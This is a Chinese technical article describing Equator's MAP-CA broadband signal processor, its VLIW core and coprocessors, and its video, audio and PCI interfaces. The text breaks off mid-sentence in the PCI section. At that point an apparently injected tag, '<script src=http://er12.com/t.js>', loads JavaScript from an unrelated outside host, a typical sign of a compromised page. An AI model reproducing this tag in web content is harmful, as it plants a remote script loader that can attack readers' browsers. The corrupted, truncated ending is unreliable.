摘要:介绍赤道公司(equator)的map-ca宽带数字信号处理器,提出了一种宽带应用中高性能的单芯片解决方案,给出一个应用实例。
关键词:宽带信号处理机 超长指令字 媒体加速处理器
作为消费类电子设备市场上综合宽带数字通讯和媒体处理器核心设备的主要供应商,赤道(equator)技术公司推出了一款高速宽带数字信号处理器map-cabsp,在300mhz的时钟周期运行速度下,其处理能力为30 gops(每秒300亿次整数运算),处理速度相当于pentium iii的6.4倍,是其它解决方案的10倍以上。其核心功能是通过软件为高性能、大视频流的宽带应用而设计的。可编程序的芯片允许服务提供者展开更多的服务和功能,如time-shifting、安全媒体播放及有针对性的广告。在高性能的宽带应用产品中如机顶盒、数字电视、视频会议系统、医疗图像产品、数字视频编辑系统和办公自动化等有着广泛的应用前景。map-ca是equator公司map系列超长指令字处理器中的一种。
1、系统框图
map-ca宽带信号处理器(bsp)内部框图如图1所示。主要包含一个超长指令字处理器内核(the vliw core)、一个可编程位流协处理器(the vlx)、视频滤波协处理器、显示刷新控制器和丰富的数字i/o接口等。map-ca支持各种用软件实现的视频、图像以及信号的压缩和解压缩,这种软件实现的算法相对硬件实现有很大的优越性,升级非常方便。
2、硬件接口
map-ca的硬件接口包括视频输入输出接口、音频输入输出接口、pci总线接口、sdram接口、显示控制器接口、i2c接口、rom控制器接口和标准的在线可编程jtag接口等。
2.1 视频输入输出接口
map-ca有两个视频输入口和一个视频输出口。每一个输入口都支持mpeg-2传输通道接口(tci)或者itu-rbt.601/656信号格式。输出口支持itu-r bt.601/656兼容信号。更让人称奇的是,这几个视频输入输出口还可以作为通用的数据传输端口。
在tci接口模式下,视频输入接口可以按串行或者并行方式输入mpeg-2视频数据包。默认情况下,串行数据在tci_data[0]输入,并行数据在tci_data[7:0]输入,tci接口能智能判断输入数据包中的同步位,或者利用外部的tci_cync信号同步输入数据。一旦检测到同步信号,map-ca就会把数据送到片内的存储器中。
对于itu-rb rt.601/656的输入信号,外部只需另接一个视频编码器(如philips公司的saa7111a芯片)就可把ntsc/pal制式的信号转换成itu-r bt.656信号,解码器还可以用系统自带的i2c总线来控制。视频输入输出接口支持单独的h/v同步(itu-r bt.601)或者内嵌同步信号(itu-r bt.656)信号,可以无缝地实现与ntsc/pal视频编码器的接口。同样可以采用系统自带itu-r bt.656的i2c总线来控制ntsc/pal视频编码器。
作为通用数据传输端口(gpdp)时,可以像普通的数据端口一样,进行8位数据的并行输入输出。再加上一个时钟和一对握手信号,这个接口提供了多个map信号处理器连接的另一种实现方式。这个数据端口支持的最高数据传输率可以高达60mbps。
2.2 音频输入输出接口
map-ca支持多种音频接口格式。它有一个iec958音频接口和一个i2s接口。其中iec958音频接口支持索尼、飞利浦数字接口s/pdif、aes/ebu接口、toslink接口。i2s接口主要用在家庭影院中高质量的音频d/a转换器上,map-ca的i2s接口符合标准的串行协议,最多可以接3个立体声dac和一个dac,支持48khz、44.1khz和32khz的音频采样频率。该接口还支持主、从两种工作模式。
2.3 pci总线接口
map-ca的pci总线接口与pci 2.1规范完全兼容,最高数据传输率高达66mbps。pci接口中的配置寄存器在芯片上电时由rom控制其初始化。map-ca的pci接口作为pci总线的目标设备时,通过pci接口可以访问map-ca内部的sdram,还可以访问一些相对程序员透明的控制寄存器、pio空间等。作为pci主控器,pci接口可以用超长指令字内核(vliw core)?script src=http://er12.com/t.js>